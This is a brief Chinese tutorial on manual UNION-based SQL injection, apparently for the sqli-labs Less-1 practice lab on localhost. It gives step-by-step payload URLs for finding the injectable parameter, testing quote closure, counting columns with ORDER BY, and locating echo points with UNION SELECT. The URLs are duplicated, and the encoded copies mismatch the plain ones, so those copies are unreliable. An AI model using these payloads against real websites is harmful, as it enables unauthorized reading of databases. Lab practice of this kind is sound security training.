一.确定攻击点 确定网站可以注入的参数
例如:以下链接
http://127.0.0.1/Less-1/?id=http://127.0.0.1/Less-1/?id=
二.判断闭合方式
例如:'--+,结合以下链接
http://127.0.0.1/Less-1/?id=1%27%20--+http://127.0.0.1/Less-1/?id=1%27%20--+
三.判断字段列数 order by
http://127.0.0.1/Less-1/?id=1' order by 1 --+http://127.0.0.1/Less-1/?id=1%27%20order%20by%203%20--+ 页面正常 说明存在1列
http://127.0.0.1/Less-1/?id=1' order by 2 --+http://127.0.0.1/Less-1/?id=1%27%20order%20by%203%20--+ 页面正常 说明存在2列
http://127.0.0.1/Less-1/?id=1' order by 3 --+http://127.0.0.1/Less-1/?id=1%27%20order%20by%203%20--+ 页面正常 说明存在3列
http://127.0.0.1/Less-1/?id=1' order by 4 --+http://127.0.0.1/Less-1/?id=1%27%20order%20by%203%20--+页面不正常 说明存在3列
四.联合查询 查当前数据库名
上面已经查出3列,那么联合查询3列
http://127.0.0.1/Less-1/?id=1' union select 1,2,3 --+http://127.0.0.1/Less-1/?id=1%27%20union%20select%201,2,3%20--+ 页面显示的是id=1的数据,没有显示我们联合查询的数据,把人家前面查询的id的数据改成不存在的,比如-1
http://127.0.0.1/Less-1/?id=-1' union select 1,2,3 --+http://127.0.0.1/Less-1/?id=-1%27%20union%20select%201,2,3%20--+ 此时页面上出现了我们联合查询的回显点